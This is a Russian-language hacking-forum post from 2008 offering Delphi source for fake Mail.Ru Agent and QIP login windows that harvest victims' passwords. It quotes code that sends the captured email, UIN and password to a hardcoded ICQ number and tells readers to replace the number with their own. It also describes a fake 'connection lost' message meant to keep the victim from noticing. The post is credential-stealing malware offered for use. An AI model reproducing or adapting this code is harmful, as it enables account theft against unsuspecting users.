Фейк Маил@Агента [Delphi]

#12

02.08.2008, 05:53

Noctambulaar

Новичок

Регистрация: 12.09.2007

Сообщений: 5

С нами: 9822519

Репутация: 1

Для компиляции нужно обладать основами программирования в дельфи и навыками подключения компонентов.

Делфи исходник фейка на вход Mail Агент 5.1, посылает пароли в вашу icq.

Cорц фейка, входа в меил агент короче качайте изменяйти на свой вкус. Там я несмог сделать когда в поле "Пароль" вводишь символы, а маскирует под круглые символы чето делфи нечитает у меня, щас там зведочки, сами их измените.

Нужно изменить свойство в компоненте icqclient укажите другой номер и пароль, записав в UIN и Password, к вам будет приходить отчет с этого номера. А в строке

Цитата:

icqclient1.SendMessage(370355372, 'E-Mail: ' + Edit1.Text + ComboBox1.Text + ' Password: ' + Edit2.Text);

Достаточно подменить icq номер 370355372 на свой и пароли пойдут к вам.

Ну все я отписал что нужно изменить для тех кто воше нешарит в делфи.
(В архиве с сорцом лежат нестандартные компоненты если у вас неустановлины то установите IcqClient v1.33 - http://progs.volkov.spb.su/ticqclient/, CoolTrayIcon).

Скачать. Size 2 mb

Делфи исходник фейка на вход QIP build 8070

Сорц фейка, вход в QIP build 8070. Работает он так жертва вводит свой уин и пароль жмет подключиться, там icqclient запускается с уина и пароля жертвы и отправляет эти данные на номер, вам остается только изменить этот номер на свой, в этой строке:

Цитата:

procedure TForm1.ICQClient1Login(Sender: TObject); begin icqclient1.SendMessage(370355372, 'Уин: ' + ComboBox1.Text + ' Password: ' + Edit1.Text); end;

370355372 - вот этот заменить на свой

Чтоб жертва неспалила после нажатия подключение через несколько сек вылезает окно Связь прервана и проигрывается звук такой который играет при разрыве связи.

(В архиве с сорцом лежат нестандартные компоненты если у вас неустановлины то установите IcqClient v1.33 - http://progs.volkov.spb.su/ticqclient/, CoolTrayIcon).

Скачать. Size 2 mb

Всё очень просто и быстро.